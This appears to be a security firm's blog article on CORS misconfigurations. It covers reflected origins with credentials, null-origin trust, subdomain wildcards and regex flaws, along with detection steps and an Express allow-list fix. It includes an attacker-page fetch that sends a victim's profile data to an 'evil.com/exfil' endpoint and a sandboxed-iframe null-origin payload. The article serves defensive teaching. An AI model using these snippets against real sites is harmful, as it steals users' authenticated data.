Last updated: April 26, 2026
CORS (Cross-Origin Resource Sharing) is one of the most-misconfigured browser security mechanisms. CORS allows controlled cross-origin requests; misconfigured CORS allows attacker websites to read authenticated user data. This article covers the misconfigurations, exploitation, and the safe defaults.
The mechanism
By default, browsers prevent cross-origin reads. CORS lets a server opt-in to allow specific origins. Server response headers:
Access-Control-Allow-Origin— which origins can readAccess-Control-Allow-Credentials: true— whether cookies are sentAccess-Control-Allow-Methods— which HTTP methodsAccess-Control-Allow-Headers— which custom headers
The misconfigurations
1. Reflective Origin with Allow-Credentials
# Vulnerable server:
Access-Control-Allow-Origin: <reflects request Origin>
Access-Control-Allow-Credentials: true
# Attacker page (evil.com):
fetch('https://target.com/api/profile', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://evil.com/exfil', { method: 'POST', body: JSON.stringify(data) }));
# Browser sends victim's cookies; server responds with Allow-Origin: https://evil.com;
# Browser allows JS to read; attacker exfiltrates.
2. Origin null trusted
# Some servers allow Origin: null
# Attacker triggers null origin via sandboxed iframe or file:// protocol
# <iframe sandbox srcdoc="<script>fetch('target.com', {credentials:'include'})</script>">
3. Permissive subdomain wildcard
# Vulnerable: any subdomain trusted
Access-Control-Allow-Origin matches: ^https?://.*\.target\.com$
# If attacker controls a subdomain (subdomain takeover):
# attacker-takenover.target.com can read API
# Cross-origin reads via takenover subdomain
4. Insufficient regex validation
# Server: trusts origins matching ^https://.*target\.com$
# Attacker: https://evil.com.target-attacker.com
# Some regex implementations match incorrectly
Detection workflow
# Test with multiple Origin values, observe response:
curl -H "Origin: https://evil.com" https://target.com/api/endpoint -I
# Look for Access-Control-Allow-Origin reflected, with Allow-Credentials: true
# Burp Active Scanner identifies CORS misconfigs
# CORScanner (open source) automates testing
# Use https://crashtest-security.com or PortSwigger labs for hands-on practice
The fix
- Allow-list specific origins, not wildcard. Maintain in config.
- Never reflect Origin without validation
- Don’t combine wildcard origin with Allow-Credentials (browsers refuse this combination, but custom implementations sometimes accept it)
- Validate origin via exact-match, not regex (regex bugs cause false-positives)
- Reject origin null
// Express.js example
const allowedOrigins = ['https://app.target.com', 'https://admin.target.com'];
app.use(cors({
origin: (origin, callback) => {
if (!origin) return callback(null, false);
if (allowedOrigins.includes(origin)) callback(null, true);
else callback(new Error('Not allowed by CORS'));
},
credentials: true,
methods: ['GET', 'POST'],
maxAge: 600
}));
The takeaway
CORS misconfiguration is reflective Origin + Allow-Credentials together. Test every API with attacker-controlled Origin headers. The fix is exact-match allow-list maintained in config. Never reflect Origin from request to response.
Get a VAPT scoping call
Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.